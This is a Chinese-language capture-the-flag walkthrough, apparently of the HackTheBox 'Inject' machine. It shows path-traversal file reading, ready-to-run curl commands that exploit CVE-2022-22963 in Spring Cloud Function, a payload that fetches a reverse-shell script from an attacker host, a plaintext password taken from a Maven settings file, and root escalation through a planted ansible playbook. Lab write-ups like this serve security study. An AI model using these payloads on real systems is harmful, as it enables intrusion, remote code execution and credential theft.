信息收集
TCP协议:
nmap -p- -sT --min-rate=1000 -Pn 10.129.226.252
UDP协议:
nmap -p- -sU --min-rate=1000 -Pn 10.129.226.252
nmap -p22,8080 -sC -sV -O -sT 10.129.226.252
访问8080端口,发现web页面,在页面上发现了upload按钮,点击后发现跳转到了/upload目录
尝试随便上传一个图片,页面给出了图片的路径,看到?img=2.png,此时立刻想到了LFI漏洞
替换2.png,成功包含/etc/passwd文件
但是当我尝试去掉passwd时,发现它可以将/etc/目录下的所有文件显示出来,这代表我们不用进行枚举目录了
翻看目录,在/var/www/WebApp/pom.xml中发现了spring-cloud-function
curl "http://10.129.226.252:8080/show_image?img=../../../../../../../var/www/WebApp/pom.xml"
spring-cloud-function存在一个新爆出的漏洞CVE-2022-22963
利用漏洞成功rce
curl -X POST http://10.129.226.252:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned" )' --data-raw 'data' -v
curl http://10.129.226.252:8080/show_image?img=../../../../../../tmp
远程加载反弹shell脚本
curl -X POST http://10.129.226.252:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.17/wen.sh -o /tmp/wen.sh")' --data-raw 'data' -v
利用nc监听,成功获取初始权限
curl -X POST http://10.129.226.252:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/wen.sh")' --data-raw 'data' -v
查找当前用户权限对应的文件
find / -group frank -type f 2>/dev/null | grep -v "proc"
在/home/frank/.m2/settings.xml中发现了phil的用户密码
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
利用pspy监控进程,发现了root权限正在运行ansible-parallel
2023/03/12 04:36:02 CMD: UID=0 PID=27905 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2023/03/12 04:36:05 CMD: UID=0 PID=27915 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/12 04:36:05 CMD: UID=0 PID=27909 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
去/opt/automation/tasks目录下查看一下playbook_1.yml的格式
创建playbook_2.yml,远程加载到/opt/automation/tasks目录下,很快获取了root权限
在/home/phil目录下找到了user.txt
在/root目录下发现了root.txt
版权归原作者 文(备考oscp版~) 所有, 如有侵权,请联系我们删除。